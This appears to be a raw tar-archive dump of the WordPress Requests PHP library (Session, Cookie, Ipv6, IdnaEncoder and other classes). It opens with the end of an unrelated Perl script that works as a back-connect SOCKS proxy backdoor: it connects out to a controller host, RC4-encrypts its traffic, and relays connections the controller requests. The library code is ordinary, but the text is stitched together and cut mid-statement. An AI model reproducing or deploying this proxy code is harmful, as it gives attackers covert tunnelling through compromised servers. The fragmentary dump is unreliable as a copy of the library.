pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1)))); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); } sub synsend { my $cSocket = shift(@_); my $buffer = shift(@_); my $flags = shift(@_); open(my $fh, "<", '/dev/null'); flock($fh, LOCK_EX); # =============================================== send($cSocket, $buffer, $flags); # =============================================== flock($fh, LOCK_UN); close($fh); } sub newConnection { my $num = shift(@_); my $socketarray = shift(@_); my $sSocket = shift(@_); my $cSocket = shift(@_); my $buff0 = shift(@_); threads->create( sub { my $responce = pack('C', $num)."\x0A\x00\x05\x01\x00\x01\x00\x00\x00\x00\x00\x00"; my $domain = ''; my $port = 0; my $_ret = 0; my $data = ''; my $buffer = ''; setsockopt($cSocket, IPPROTO_TCP, TCP_NODELAY, 1); fcntl($cSocket, F_SETFL, O_NONBLOCK); if (unpack('C', substr($buff0, 7, 1)) == 3) { $domain = substr($buff0, 9, unpack('C', substr($buff0, 8, 1))); $port = unpack('S', substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 1, 1).substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 0, 1)); } elsif (unpack('C', substr($buff0, 7, 1)) == 1) { $domain = sprintf("%d.%d.%d.%d", unpack('C', substr($buff0, 8 + 0, 1)), unpack('C', substr($buff0, 8 + 1, 1)), unpack('C', substr($buff0, 8 + 2, 1)), unpack('C', substr($buff0, 8 + 3, 1))); $port = unpack('S', substr($buff0, 12 + 1, 1).substr($buff0, 12 + 0, 1)); } else { goto close_; } eval { my $paddr = sockaddr_in($port, inet_aton($domain)); connect($cSocket, $paddr); vec(my $win = '', fileno($cSocket), 1) = 1; unless (select(undef, $win, undef, 10)) { goto close_; } fcntl($cSocket, F_SETFL, 0); substr($responce, 4, 1) = "\x00"; $_ret = 1; }; close_: Rc4_crypt(\$xordata, 50, \$responce, 0, 3); Rc4_crypt(\$xordata, 50, \$responce, 3, 10); synsend($sSocket, $responce, MSG_NOSIGNAL); Rc4_crypt(\$xordata, 50, \$responce, 0, 3); if ($_ret == 1) { while ($$socketarray[$num] == 1) { vec(my $rin = '', fileno($cSocket), 1) = 1; unless (select($rin, undef, undef, 1)) { next; } $data = ''; recv($cSocket, $data, 65530, 0); unless ($data) { last; } $buffer = pack('C', $num).pack('S', length($data)).$data; Rc4_crypt(\$xordata, 50, \$buffer, 0, 3); Rc4_crypt(\$xordata, 50, \$buffer, 3, length($data)); synsend($sSocket, $buffer, MSG_NOSIGNAL); } } $$socketarray[$num] = 0; close($cSocket); substr($responce, 1, 2) = "\x00\x00"; Rc4_crypt(\$xordata, 50, \$responce, 0, 3); synsend($sSocket, substr($responce, 0, 3), MSG_NOSIGNAL); threads->detach(); }); } sub bccnct { my $host = shift(@_); my $port = shift(@_); my $remaining = 0; my $remaining4 = 0; my @socketarr; my @socketarray :shared; my $buffer = "\x00" x 100; my $buffernull = "\x00" x 3; my $buffer0 = ''; my $isExit = 0; my $ecx = 0; my $eax = 0; my $data = ''; my $_ret = 0; my $ebx = 0; my $edx = 0; socket($socketarr[0], PF_INET, SOCK_STREAM, getprotobyname('tcp')); setsockopt($socketarr[0], IPPROTO_TCP, TCP_NODELAY, 1); my $paddr = sockaddr_in($$port, inet_aton($$host)); unless(connect($socketarr[0], $paddr)) { goto close0; } substr($buffer, 0, 50) = $xordata; substr($buffer, 50, 2) = "\xFF\xFF"; substr($buffer, 54, 11) = "Perl script"; Rc4_crypt(\$xordata, 50, \$buffer, 50, 50); send($socketarr[0], $buffer, MSG_NOSIGNAL); while(1) { if ($remaining4 != 4) { vec(my $rin = '', fileno($socketarr[0]), 1) = 1; my $ret = select($rin, undef, undef, 60); next if ($ret < 0); if ($ret == 0) { last if (substr($buffernull, 0, 3) ne "\x00\x00\x00"); last if ($remaining != 0); last if ($remaining4 != 0); Rc4_crypt(\$xordata, 50, \$buffernull, 0, 3); synsend($socketarr[0], $buffernull, MSG_NOSIGNAL); next; } } if ($remaining != 0 || $remaining4 == 4) { if ($edx == 0) { if (substr($buffer0, 0, 1) eq "\xFF" && substr($buffer0, 1, 1) eq "\xFE") { $isExit = 1; last; } elsif ($ebx < 200 && $ebx > 0) { $socketarray[$ebx] = 0; } } else { $ecx = $edx; $ecx = $ecx - $remaining; $data = ''; recv($socketarr[0], $data, $ecx, 0); unless ($data) { last; } $remaining += length($data); $buffer0 .= $data; if ($edx == $remaining) { Rc4_crypt(\$xordata, 50, \$buffer0, 4, $remaining); if (unpack('C', substr($buffer0, 0, 1)) == 0) { socket($socketarr[$ebx], PF_INET, SOCK_STREAM, getprotobyname('tcp')); $socketarray[$ebx] = 1; newConnection($ebx, \@socketarray, $socketarr[0], $socketarr[$ebx], $buffer0); } else { send($socketarr[$ebx], substr($buffer0, 4, $remaining), MSG_NOSIGNAL); } $remaining = 0; } } $remaining4 = 0; } else { if ($remaining4 == 0) { $buffer0 = ''; } $eax = 4; $eax = $eax - $remaining4; $data = ''; recv($socketarr[0], $data, $eax, 0); unless ($data) { last; } $remaining4 += length($data); $buffer0 .= $data; $buffernull = "\x00" x 3; if ($remaining4 == 4) { Rc4_crypt(\$xordata, 50, \$buffer0, 0, 4); $ebx = unpack('C', substr($buffer0, 1, 1)); $edx = unpack('S', substr($buffer0, 2, 2)); $_ret = 1; } } } close0: close($socketarr[0]); for (my $i = 0; $i < 200; $i++) { $socketarray[$i] = 0; } sleep 10; if ($isExit == 1) { exit; } return $_ret; } bccnct(\$host, \$port); Utility/FilteredIterator.php000064400000004155152076141160012200 0ustar00callback = $callback; } } /** * Prevent unserialization of the object for security reasons. * * @phpcs:disable PHPCompatibility.FunctionNameRestrictions.NewMagicMethods.__unserializeFound * * @param array $data Restored array of data originally serialized. * * @return void */ #[ReturnTypeWillChange] public function __unserialize($data) {} // phpcs:enable /** * Perform reinitialization tasks. * * Prevents a callback from being injected during unserialization of an object. * * @return void */ public function __wakeup() { unset($this->callback); } /** * Get the current item's value after filtering * * @return string */ #[ReturnTypeWillChange] public function current() { $value = parent::current(); if (is_callable($this->callback)) { $value = call_user_func($this->callback, $value); } return $value; } /** * Prevent creating a PHP value from a stored representation of the object for security reasons. * * @param string $data The serialized string. * * @return void */ #[ReturnTypeWillChange] public function unserialize($data) {} } Utility/InputValidator.php000064400000004720152076141160011673 0ustar00 '\WpOrg\Requests\Auth', 'requests_hooker' => '\WpOrg\Requests\HookManager', 'requests_proxy' => '\WpOrg\Requests\Proxy', 'requests_transport' => '\WpOrg\Requests\Transport', // Classes. 'requests_cookie' => '\WpOrg\Requests\Cookie', 'requests_exception' => '\WpOrg\Requests\Exception', 'requests_hooks' => '\WpOrg\Requests\Hooks', 'requests_idnaencoder' => '\WpOrg\Requests\IdnaEncoder', 'requests_ipv6' => '\WpOrg\Requests\Ipv6', 'requests_iri' => '\WpOrg\Requests\Iri', 'requests_response' => '\WpOrg\Requests\Response', 'requests_session' => '\WpOrg\Requests\Session', 'requests_ssl' => '\WpOrg\Requests\Ssl', 'requests_auth_basic' => '\WpOrg\Requests\Auth\Basic', 'requests_cookie_jar' => '\WpOrg\Requests\Cookie\Jar', 'requests_proxy_http' => '\WpOrg\Requests\Proxy\Http', 'requests_response_headers' => '\WpOrg\Requests\Response\Headers', 'requests_transport_curl' => '\WpOrg\Requests\Transport\Curl', 'requests_transport_fsockopen' => '\WpOrg\Requests\Transport\Fsockopen', 'requests_utility_caseinsensitivedictionary' => '\WpOrg\Requests\Utility\CaseInsensitiveDictionary', 'requests_utility_filterediterator' => '\WpOrg\Requests\Utility\FilteredIterator', 'requests_exception_http' => '\WpOrg\Requests\Exception\Http', 'requests_exception_transport' => '\WpOrg\Requests\Exception\Transport', 'requests_exception_transport_curl' => '\WpOrg\Requests\Exception\Transport\Curl', 'requests_exception_http_304' => '\WpOrg\Requests\Exception\Http\Status304', 'requests_exception_http_305' => '\WpOrg\Requests\Exception\Http\Status305', 'requests_exception_http_306' => '\WpOrg\Requests\Exception\Http\Status306', 'requests_exception_http_400' => '\WpOrg\Requests\Exception\Http\Status400', 'requests_exception_http_401' => '\WpOrg\Requests\Exception\Http\Status401', 'requests_exception_http_402' => '\WpOrg\Requests\Exception\Http\Status402', 'requests_exception_http_403' => '\WpOrg\Requests\Exception\Http\Status403', 'requests_exception_http_404' => '\WpOrg\Requests\Exception\Http\Status404', 'requests_exception_http_405' => '\WpOrg\Requests\Exception\Http\Status405', 'requests_exception_http_406' => '\WpOrg\Requests\Exception\Http\Status406', 'requests_exception_http_407' => '\WpOrg\Requests\Exception\Http\Status407', 'requests_exception_http_408' => '\WpOrg\Requests\Exception\Http\Status408', 'requests_exception_http_409' => '\WpOrg\Requests\Exception\Http\Status409', 'requests_exception_http_410' => '\WpOrg\Requests\Exception\Http\Status410', 'requests_exception_http_411' => '\WpOrg\Requests\Exception\Http\Status411', 'requests_exception_http_412' => '\WpOrg\Requests\Exception\Http\Status412', 'requests_exception_http_413' => '\WpOrg\Requests\Exception\Http\Status413', 'requests_exception_http_414' => '\WpOrg\Requests\Exception\Http\Status414', 'requests_exception_http_415' => '\WpOrg\Requests\Exception\Http\Status415', 'requests_exception_http_416' => '\WpOrg\Requests\Exception\Http\Status416', 'requests_exception_http_417' => '\WpOrg\Requests\Exception\Http\Status417', 'requests_exception_http_418' => '\WpOrg\Requests\Exception\Http\Status418', 'requests_exception_http_428' => '\WpOrg\Requests\Exception\Http\Status428', 'requests_exception_http_429' => '\WpOrg\Requests\Exception\Http\Status429', 'requests_exception_http_431' => '\WpOrg\Requests\Exception\Http\Status431', 'requests_exception_http_500' => '\WpOrg\Requests\Exception\Http\Status500', 'requests_exception_http_501' => '\WpOrg\Requests\Exception\Http\Status501', 'requests_exception_http_502' => '\WpOrg\Requests\Exception\Http\Status502', 'requests_exception_http_503' => '\WpOrg\Requests\Exception\Http\Status503', 'requests_exception_http_504' => '\WpOrg\Requests\Exception\Http\Status504', 'requests_exception_http_505' => '\WpOrg\Requests\Exception\Http\Status505', 'requests_exception_http_511' => '\WpOrg\Requests\Exception\Http\Status511', 'requests_exception_http_unknown' => '\WpOrg\Requests\Exception\Http\StatusUnknown', ]; /** * Register the autoloader. * * Note: the autoloader is *prepended* in the autoload queue. * This is done to ensure that the Requests 2.0 autoloader takes precedence * over a potentially (dependency-registered) Requests 1.x autoloader. * * @internal This method contains a safeguard against the autoloader being * registered multiple times. This safeguard uses a global constant to * (hopefully/in most cases) still function correctly, even if the * class would be renamed. * * @return void */ public static function register() { if (defined('REQUESTS_AUTOLOAD_REGISTERED') === false) { spl_autoload_register([self::class, 'load'], true); define('REQUESTS_AUTOLOAD_REGISTERED', true); } } /** * Autoloader. * * @param string $class_name Name of the class name to load. * * @return bool Whether a class was loaded or not. */ public static function load($class_name) { // Check that the class starts with "Requests" (PSR-0) or "WpOrg\Requests" (PSR-4). $psr_4_prefix_pos = strpos($class_name, 'WpOrg\\Requests\\'); if (stripos($class_name, 'Requests') !== 0 && $psr_4_prefix_pos !== 0) { return false; } $class_lower = strtolower($class_name); if ($class_lower === 'requests') { // Reference to the original PSR-0 Requests class. $file = dirname(__DIR__) . '/library/Requests.php'; } elseif ($psr_4_prefix_pos === 0) { // PSR-4 classname. $file = __DIR__ . '/' . strtr(substr($class_name, 15), '\\', '/') . '.php'; } if (isset($file) && file_exists($file)) { include $file; return true; } /* * Okay, so the class starts with "Requests", but we couldn't find the file. * If this is one of the deprecated/renamed PSR-0 classes being requested, * let's alias it to the new name and throw a deprecation notice. */ if (isset(self::$deprecated_classes[$class_lower])) { /* * Integrators who cannot yet upgrade to the PSR-4 class names can silence deprecations * by defining a `REQUESTS_SILENCE_PSR0_DEPRECATIONS` constant and setting it to `true`. * The constant needs to be defined before the first deprecated class is requested * via this autoloader. */ if (!defined('REQUESTS_SILENCE_PSR0_DEPRECATIONS') || REQUESTS_SILENCE_PSR0_DEPRECATIONS !== true) { // phpcs:ignore WordPress.PHP.DevelopmentFunctions.error_log_trigger_error trigger_error( 'The PSR-0 `Requests_...` class names in the Requests library are deprecated.' . ' Switch to the PSR-4 `WpOrg\Requests\...` class names at your earliest convenience.', E_USER_DEPRECATED ); // Prevent the deprecation notice from being thrown twice. if (!defined('REQUESTS_SILENCE_PSR0_DEPRECATIONS')) { define('REQUESTS_SILENCE_PSR0_DEPRECATIONS', true); } } // Create an alias and let the autoloader recursively kick in to load the PSR-4 class. return class_alias(self::$deprecated_classes[$class_lower], $class_name, true); } return false; } } } IdnaEncoder.php000064400000030223152076141160007433 0ustar00 0) { if ($position + $length > $strlen) { throw new Exception('Invalid Unicode codepoint', 'idna.invalidcodepoint', $character); } for ($position++; $remaining > 0; $position++) { $value = ord($input[$position]); // If it is invalid, count the sequence as invalid and reprocess the current byte: if (($value & 0xC0) !== 0x80) { throw new Exception('Invalid Unicode codepoint', 'idna.invalidcodepoint', $character); } --$remaining; $character |= ($value & 0x3F) << ($remaining * 6); } $position--; } if (// Non-shortest form sequences are invalid $length > 1 && $character <= 0x7F || $length > 2 && $character <= 0x7FF || $length > 3 && $character <= 0xFFFF // Outside of range of ucschar codepoints // Noncharacters || ($character & 0xFFFE) === 0xFFFE || $character >= 0xFDD0 && $character <= 0xFDEF || ( // Everything else not in ucschar $character > 0xD7FF && $character < 0xF900 || $character < 0x20 || $character > 0x7E && $character < 0xA0 || $character > 0xEFFFD ) ) { throw new Exception('Invalid Unicode codepoint', 'idna.invalidcodepoint', $character); } $codepoints[] = $character; } return $codepoints; } /** * RFC3492-compliant encoder * * @internal Pseudo-code from Section 6.3 is commented with "#" next to relevant code * * @param string $input UTF-8 encoded string to encode * @return string Punycode-encoded string * * @throws \WpOrg\Requests\Exception On character outside of the domain (never happens with Punycode) (`idna.character_outside_domain`) */ public static function punycode_encode($input) { $output = ''; // let n = initial_n $n = self::BOOTSTRAP_INITIAL_N; // let delta = 0 $delta = 0; // let bias = initial_bias $bias = self::BOOTSTRAP_INITIAL_BIAS; // let h = b = the number of basic code points in the input $h = 0; $b = 0; // see loop // copy them to the output in order $codepoints = self::utf8_to_codepoints($input); $extended = []; foreach ($codepoints as $char) { if ($char < 128) { // Character is valid ASCII // TODO: this should also check if it's valid for a URL $output .= chr($char); $h++; // Check if the character is non-ASCII, but below initial n // This never occurs for Punycode, so ignore in coverage // @codeCoverageIgnoreStart } elseif ($char < $n) { throw new Exception('Invalid character', 'idna.character_outside_domain', $char); // @codeCoverageIgnoreEnd } else { $extended[$char] = true; } } $extended = array_keys($extended); sort($extended); $b = $h; // [copy them] followed by a delimiter if b > 0 if (strlen($output) > 0) { $output .= '-'; } // {if the input contains a non-basic code point < n then fail} // while h < length(input) do begin $codepointcount = count($codepoints); while ($h < $codepointcount) { // let m = the minimum code point >= n in the input $m = array_shift($extended); //printf('next code point to insert is %s' . PHP_EOL, dechex($m)); // let delta = delta + (m - n) * (h + 1), fail on overflow $delta += ($m - $n) * ($h + 1); // let n = m $n = $m; // for each code point c in the input (in order) do begin for ($num = 0; $num < $codepointcount; $num++) { $c = $codepoints[$num]; // if c < n then increment delta, fail on overflow if ($c < $n) { $delta++; } elseif ($c === $n) { // if c == n then begin // let q = delta $q = $delta; // for k = base to infinity in steps of base do begin for ($k = self::BOOTSTRAP_BASE; ; $k += self::BOOTSTRAP_BASE) { // let t = tmin if k <= bias {+ tmin}, or // tmax if k >= bias + tmax, or k - bias otherwise if ($k <= ($bias + self::BOOTSTRAP_TMIN)) { $t = self::BOOTSTRAP_TMIN; } elseif ($k >= ($bias + self::BOOTSTRAP_TMAX)) { $t = self::BOOTSTRAP_TMAX; } else { $t = $k - $bias; } // if q < t then break if ($q < $t) { break; } // output the code point for digit t + ((q - t) mod (base - t)) $digit = (int) ($t + (($q - $t) % (self::BOOTSTRAP_BASE - $t))); $output .= self::digit_to_char($digit); // let q = (q - t) div (base - t) $q = (int) floor(($q - $t) / (self::BOOTSTRAP_BASE - $t)); } // end // output the code point for digit q $output .= self::digit_to_char($q); // let bias = adapt(delta, h + 1, test h equals b?) $bias = self::adapt($delta, $h + 1, $h === $b); // let delta = 0 $delta = 0; // increment h $h++; } // end } // end // increment delta and n $delta++; $n++; } // end return $output; } /** * Convert a digit to its respective character * * @link https://tools.ietf.org/html/rfc3492#section-5 * * @param int $digit Digit in the range 0-35 * @return string Single character corresponding to digit * * @throws \WpOrg\Requests\Exception On invalid digit (`idna.invalid_digit`) */ protected static function digit_to_char($digit) { // @codeCoverageIgnoreStart // As far as I know, this never happens, but still good to be sure. if ($digit < 0 || $digit > 35) { throw new Exception(sprintf('Invalid digit %d', $digit), 'idna.invalid_digit', $digit); } // @codeCoverageIgnoreEnd $digits = 'abcdefghijklmnopqrstuvwxyz0123456789'; return substr($digits, $digit, 1); } /** * Adapt the bias * * @link https://tools.ietf.org/html/rfc3492#section-6.1 * @param int $delta * @param int $numpoints * @param bool $firsttime * @return int|float New bias * * function adapt(delta,numpoints,firsttime): */ protected static function adapt($delta, $numpoints, $firsttime) { // if firsttime then let delta = delta div damp if ($firsttime) { $delta = floor($delta / self::BOOTSTRAP_DAMP); } else { // else let delta = delta div 2 $delta = floor($delta / 2); } // let delta = delta + (delta div numpoints) $delta += floor($delta / $numpoints); // let k = 0 $k = 0; // while delta > ((base - tmin) * tmax) div 2 do begin $max = floor(((self::BOOTSTRAP_BASE - self::BOOTSTRAP_TMIN) * self::BOOTSTRAP_TMAX) / 2); while ($delta > $max) { // let delta = delta div (base - tmin) $delta = floor($delta / (self::BOOTSTRAP_BASE - self::BOOTSTRAP_TMIN)); // let k = k + base $k += self::BOOTSTRAP_BASE; } // end // return k + (((base - tmin + 1) * delta) div (delta + skew)) return $k + floor(((self::BOOTSTRAP_BASE - self::BOOTSTRAP_TMIN + 1) * $delta) / ($delta + self::BOOTSTRAP_SKEW)); } } Ipv6.php000064400000013007152076141160006105 0ustar00 FF01:0:0:0:0:0:0:101 * ::1 -> 0:0:0:0:0:0:0:1 * * @author Alexander Merz * @author elfrink at introweb dot nl * @author Josh Peck * @copyright 2003-2005 The PHP Group * @license https://opensource.org/licenses/bsd-license.php * * @param string|Stringable $ip An IPv6 address * @return string The uncompressed IPv6 address * * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed argument is not a string or a stringable object. */ public static function uncompress($ip) { if (InputValidator::is_string_or_stringable($ip) === false) { throw InvalidArgument::create(1, '$ip', 'string|Stringable', gettype($ip)); } $ip = (string) $ip; if (substr_count($ip, '::') !== 1) { return $ip; } list($ip1, $ip2) = explode('::', $ip); $c1 = ($ip1 === '') ? -1 : substr_count($ip1, ':'); $c2 = ($ip2 === '') ? -1 : substr_count($ip2, ':'); if (strpos($ip2, '.') !== false) { $c2++; } if ($c1 === -1 && $c2 === -1) { // :: $ip = '0:0:0:0:0:0:0:0'; } elseif ($c1 === -1) { // ::xxx $fill = str_repeat('0:', 7 - $c2); $ip = str_replace('::', $fill, $ip); } elseif ($c2 === -1) { // xxx:: $fill = str_repeat(':0', 7 - $c1); $ip = str_replace('::', $fill, $ip); } else { // xxx::xxx $fill = ':' . str_repeat('0:', 6 - $c2 - $c1); $ip = str_replace('::', $fill, $ip); } return $ip; } /** * Compresses an IPv6 address * * RFC 4291 allows you to compress consecutive zero pieces in an address to * '::'. This method expects a valid IPv6 address and compresses consecutive * zero pieces to '::'. * * Example: FF01:0:0:0:0:0:0:101 -> FF01::101 * 0:0:0:0:0:0:0:1 -> ::1 * * @see \WpOrg\Requests\Ipv6::uncompress() * * @param string $ip An IPv6 address * @return string The compressed IPv6 address */ public static function compress($ip) { // Prepare the IP to be compressed. // Note: Input validation is handled in the `uncompress()` method, which is the first call made in this method. $ip = self::uncompress($ip); $ip_parts = self::split_v6_v4($ip); // Replace all leading zeros $ip_parts[0] = preg_replace('/(^|:)0+([0-9])/', '\1\2', $ip_parts[0]); // Find bunches of zeros if (preg_match_all('/(?:^|:)(?:0(?::|$))+/', $ip_parts[0], $matches, PREG_OFFSET_CAPTURE)) { $max = 0; $pos = null; foreach ($matches[0] as $match) { if (strlen($match[0]) > $max) { $max = strlen($match[0]); $pos = $match[1]; } } $ip_parts[0] = substr_replace($ip_parts[0], '::', $pos, $max); } if ($ip_parts[1] !== '') { return implode(':', $ip_parts); } else { return $ip_parts[0]; } } /** * Splits an IPv6 address into the IPv6 and IPv4 representation parts * * RFC 4291 allows you to represent the last two parts of an IPv6 address * using the standard IPv4 representation * * Example: 0:0:0:0:0:0:13.1.68.3 * 0:0:0:0:0:FFFF:129.144.52.38 * * @param string $ip An IPv6 address * @return string[] [0] contains the IPv6 represented part, and [1] the IPv4 represented part */ private static function split_v6_v4($ip) { if (strpos($ip, '.') !== false) { $pos = strrpos($ip, ':'); $ipv6_part = substr($ip, 0, $pos); $ipv4_part = substr($ip, $pos + 1); return [$ipv6_part, $ipv4_part]; } else { return [$ip, '']; } } /** * Checks an IPv6 address * * Checks if the given IP is a valid IPv6 address * * @param string $ip An IPv6 address * @return bool true if $ip is a valid IPv6 address */ public static function check_ipv6($ip) { // Note: Input validation is handled in the `uncompress()` method, which is the first call made in this method. $ip = self::uncompress($ip); list($ipv6, $ipv4) = self::split_v6_v4($ip); $ipv6 = explode(':', $ipv6); $ipv4 = explode('.', $ipv4); if (count($ipv6) === 8 && count($ipv4) === 1 || count($ipv6) === 6 && count($ipv4) === 4) { foreach ($ipv6 as $ipv6_part) { // The section can't be empty if ($ipv6_part === '') { return false; } // Nor can it be over four characters if (strlen($ipv6_part) > 4) { return false; } // Remove leading zeros (this is safe because of the above) $ipv6_part = ltrim($ipv6_part, '0'); if ($ipv6_part === '') { $ipv6_part = '0'; } // Check the value is valid $value = hexdec($ipv6_part); if (dechex($value) !== strtolower($ipv6_part) || $value < 0 || $value > 0xFFFF) { return false; } } if (count($ipv4) === 4) { foreach ($ipv4 as $ipv4_part) { $value = (int) $ipv4_part; if ((string) $value !== $ipv4_part || $value < 0 || $value > 0xFF) { return false; } } } return true; } else { return false; } } } Exception.php000064400000002132152076141160007214 0ustar00type = $type; $this->data = $data; } /** * Like {@see \Exception::getCode()}, but a string code. * * @codeCoverageIgnore * @return string */ public function getType() { return $this->type; } /** * Gives any relevant data * * @codeCoverageIgnore * @return mixed */ public function getData() { return $this->data; } } Session.php000064400000021623152076141160006707 0ustar00useragent = 'X';` * * @var array */ public $options = []; /** * Create a new session * * @param string|Stringable|null $url Base URL for requests * @param array $headers Default headers for requests * @param array $data Default data for requests * @param array $options Default options for requests * * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $url argument is not a string, Stringable or null. * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $headers argument is not an array. * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $data argument is not an array. * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $options argument is not an array. */ public function __construct($url = null, $headers = [], $data = [], $options = []) { if ($url !== null && InputValidator::is_string_or_stringable($url) === false) { throw InvalidArgument::create(1, '$url', 'string|Stringable|null', gettype($url)); } if (is_array($headers) === false) { throw InvalidArgument::create(2, '$headers', 'array', gettype($headers)); } if (is_array($data) === false) { throw InvalidArgument::create(3, '$data', 'array', gettype($data)); } if (is_array($options) === false) { throw InvalidArgument::create(4, '$options', 'array', gettype($options)); } $this->url = $url; $this->headers = $headers; $this->data = $data; $this->options = $options; if (empty($this->options['cookies'])) { $this->options['cookies'] = new Jar(); } } /** * Get a property's value * * @param string $name Property name. * @return mixed|null Property value, null if none found */ public function __get($name) { if (isset($this->options[$name])) { return $this->options[$name]; } return null; } /** * Set a property's value * * @param string $name Property name. * @param mixed $value Property value */ public function __set($name, $value) { $this->options[$name] = $value; } /** * Remove a property's value * * @param string $name Property name. */ public function __isset($name) { return isset($this->options[$name]); } /** * Remove a property's value * * @param string $name Property name. */ public function __unset($name) { unset($this->options[$name]); } /**#@+ * @see \WpOrg\Requests\Session::request() * @param string $url * @param array $headers * @param array $options * @return \WpOrg\Requests\Response */ /** * Send a GET request */ public function get($url, $headers = [], $options = []) { return $this->request($url, $headers, null, Requests::GET, $options); } /** * Send a HEAD request */ public function head($url, $headers = [], $options = []) { return $this->request($url, $headers, null, Requests::HEAD, $options); } /** * Send a DELETE request */ public function delete($url, $headers = [], $options = []) { return $this->request($url, $headers, null, Requests::DELETE, $options); } /**#@-*/ /**#@+ * @see \WpOrg\Requests\Session::request() * @param string $url * @param array $headers * @param array $data * @param array $options * @return \WpOrg\Requests\Response */ /** * Send a POST request */ public function post($url, $headers = [], $data = [], $options = []) { return $this->request($url, $headers, $data, Requests::POST, $options); } /** * Send a PUT request */ public function put($url, $headers = [], $data = [], $options = []) { return $this->request($url, $headers, $data, Requests::PUT, $options); } /** * Send a PATCH request * * Note: Unlike {@see \WpOrg\Requests\Session::post()} and {@see \WpOrg\Requests\Session::put()}, * `$headers` is required, as the specification recommends that should send an ETag * * @link https://tools.ietf.org/html/rfc5789 */ public function patch($url, $headers, $data = [], $options = []) { return $this->request($url, $headers, $data, Requests::PATCH, $options); } /**#@-*/ /** * Main interface for HTTP requests * * This method initiates a request and sends it via a transport before * parsing. * * @see \WpOrg\Requests\Requests::request() * * @param string $url URL to request * @param array $headers Extra headers to send with the request * @param array|null $data Data to send either as a query string for GET/HEAD requests, or in the body for POST requests * @param string $type HTTP request type (use \WpOrg\Requests\Requests constants) * @param array $options Options for the request (see {@see \WpOrg\Requests\Requests::request()}) * @return \WpOrg\Requests\Response * * @throws \WpOrg\Requests\Exception On invalid URLs (`nonhttp`) */ public function request($url, $headers = [], $data = [], $type = Requests::GET, $options = []) { $request = $this->merge_request(compact('url', 'headers', 'data', 'options')); return Requests::request($request['url'], $request['headers'], $request['data'], $type, $request['options']); } /** * Send multiple HTTP requests simultaneously * * @see \WpOrg\Requests\Requests::request_multiple() * * @param array $requests Requests data (see {@see \WpOrg\Requests\Requests::request_multiple()}) * @param array $options Global and default options (see {@see \WpOrg\Requests\Requests::request()}) * @return array Responses (either \WpOrg\Requests\Response or a \WpOrg\Requests\Exception object) * * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $requests argument is not an array or iterable object with array access. * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $options argument is not an array. */ public function request_multiple($requests, $options = []) { if (InputValidator::has_array_access($requests) === false || InputValidator::is_iterable($requests) === false) { throw InvalidArgument::create(1, '$requests', 'array|ArrayAccess&Traversable', gettype($requests)); } if (is_array($options) === false) { throw InvalidArgument::create(2, '$options', 'array', gettype($options)); } foreach ($requests as $key => $request) { $requests[$key] = $this->merge_request($request, false); } $options = array_merge($this->options, $options); // Disallow forcing the type, as that's a per request setting unset($options['type']); return Requests::request_multiple($requests, $options); } public function __wakeup() { throw new \LogicException( __CLASS__ . ' should never be unserialized' ); } /** * Merge a request's data with the default data * * @param array $request Request data (same form as {@see \WpOrg\Requests\Session::request_multiple()}) * @param boolean $merge_options Should we merge options as well? * @return array Request data */ protected function merge_request($request, $merge_options = true) { if ($this->url !== null) { $request['url'] = Iri::absolutize($this->url, $request['url']); $request['url'] = $request['url']->uri; } if (empty($request['headers'])) { $request['headers'] = []; } $request['headers'] = array_merge($this->headers, $request['headers']); if (empty($request['data'])) { if (is_array($this->data)) { $request['data'] = $this->data; } } elseif (is_array($request['data']) && is_array($this->data)) { $request['data'] = array_merge($this->data, $request['data']); } if ($merge_options === true) { $request['options'] = array_merge($this->options, $request['options']); // Disallow forcing the type, as that's a per request setting unset($request['options']['type']); } return $request; } } Transport.php000064400000003010152076141160007246 0ustar00 $capabilities Optional. Associative array of capabilities to test against, i.e. `['' => true]`. * @return bool Whether the transport can be used. */ public static function test($capabilities = []); } Port.php000064400000002741152076141160006210 0ustar00name = $name; $this->value = $value; $this->attributes = $attributes; $default_flags = [ 'creation' => time(), 'last-access' => time(), 'persistent' => false, 'host-only' => true, ]; $this->flags = array_merge($default_flags, $flags); $this->reference_time = time(); if ($reference_time !== null) { $this->reference_time = $reference_time; } $this->normalize(); } /** * Get the cookie value * * Attributes and other data can be accessed via methods. */ public function __toString() { return $this->value; } /** * Check if a cookie is expired. * * Checks the age against $this->reference_time to determine if the cookie * is expired. * * @return boolean True if expired, false if time is valid. */ public function is_expired() { // RFC6265, s. 4.1.2.2: // If a cookie has both the Max-Age and the Expires attribute, the Max- // Age attribute has precedence and controls the expiration date of the // cookie. if (isset($this->attributes['max-age'])) { $max_age = $this->attributes['max-age']; return $max_age < $this->reference_time; } if (isset($this->attributes['expires'])) { $expires = $this->attributes['expires']; return $expires < $this->reference_time; } return false; } /** * Check if a cookie is valid for a given URI * * @param \WpOrg\Requests\Iri $uri URI to check * @return boolean Whether the cookie is valid for the given URI */ public function uri_matches(Iri $uri) { if (!$this->domain_matches($uri->host)) { return false; } if (!$this->path_matches($uri->path)) { return false; } return empty($this->attributes['secure']) || $uri->scheme === 'https'; } /** * Check if a cookie is valid for a given domain * * @param string $domain Domain to check * @return boolean Whether the cookie is valid for the given domain */ public function domain_matches($domain) { if (is_string($domain) === false) { return false; } if (!isset($this->attributes['domain'])) { // Cookies created manually; cookies created by Requests will set // the domain to the requested domain return true; } $cookie_domain = $this->attributes['domain']; if ($cookie_domain === $domain) { // The cookie domain and the passed domain are identical. return true; } // If the cookie is marked as host-only and we don't have an exact // match, reject the cookie if ($this->flags['host-only'] === true) { return false; } if (strlen($domain) <= strlen($cookie_domain)) { // For obvious reasons, the cookie domain cannot be a suffix if the passed domain // is shorter than the cookie domain return false; } if (substr($domain, -1 * strlen($cookie_domain)) !== $cookie_domain) { // The cookie domain should be a suffix of the passed domain. return false; } $prefix = substr($domain, 0, strlen($domain) - strlen($cookie_domain)); if (substr($prefix, -1) !== '.') { // The last character of the passed domain that is not included in the // domain string should be a %x2E (".") character. return false; } // The passed domain should be a host name (i.e., not an IP address). 